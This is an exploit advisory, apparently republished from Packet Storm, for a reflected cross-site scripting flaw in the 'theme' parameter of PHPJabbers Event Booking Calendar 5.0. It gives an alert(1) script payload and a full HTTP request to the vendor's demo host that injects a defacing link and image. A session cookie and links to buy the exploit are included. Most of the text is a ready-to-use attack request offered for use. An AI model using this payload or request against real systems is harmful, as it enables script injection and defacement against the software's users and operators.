## https://sploitus.com/exploit?id=PACKETSTORM:220962
## Titles: Event Booking Calendar-5.0 Cross-site scripting (reflected)
## Author: nu11secur1ty
## Date: 5/13/2026
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/event-booking-calendar/
## Reference: https://portswigger.net/web-security/cross-site-scripting
## Description:
The value of the theme request parameter is copied into the value of an
HTML tag attribute which is encapsulated in double quotation marks.
The payload a6kx6"><script>alert(1)</script>po9g6 was submitted in the
theme parameter. This input was echoed unmodified in the application's
response.
This proof-of-concept attack demonstrates that it is possible to inject
arbitrary JavaScript into the application's response.
STATUS: HIGH- Vulnerability
[+]Exploit:
```
GET
/scripts/event-booking-calendar/preview.php?locale=1&hide=0&theme=theme1a6kx6%22%3E%3Ca%20href=%22
https://www.youtube.com/watch?v=Q9pX-pEAFT4%22%20target=%22_blank%22%3E%20%3Cimg%20src=%22https://media1.tenor.com/m/sLjUbG5BVikAAAAd/trump-dance-trump-2024.gif%22%20alt=%22STUPID%22width=%22900%22%20height=%22450%22%3E%20%3C/a%3Epo9g6
HTTP/2
Host: demo.phpjabbers.com
Cookie: EventBookingCalendar=179dabd0dc4c6897881b9496ceeaa53a
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```
##[+]Buy the Exploit if you need and if you want to support me:
[href](https://venvar.gumroad.com/l/jrzzmg)
## Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/PHPJABBERS/Event-Booking-Calendar-5.0-Cross-site-scripting(reflected)
)
## Demo PoC:
[href](https://www.patreon.com/posts/event-booking-5-158137115)
## Time spent:
01:27:00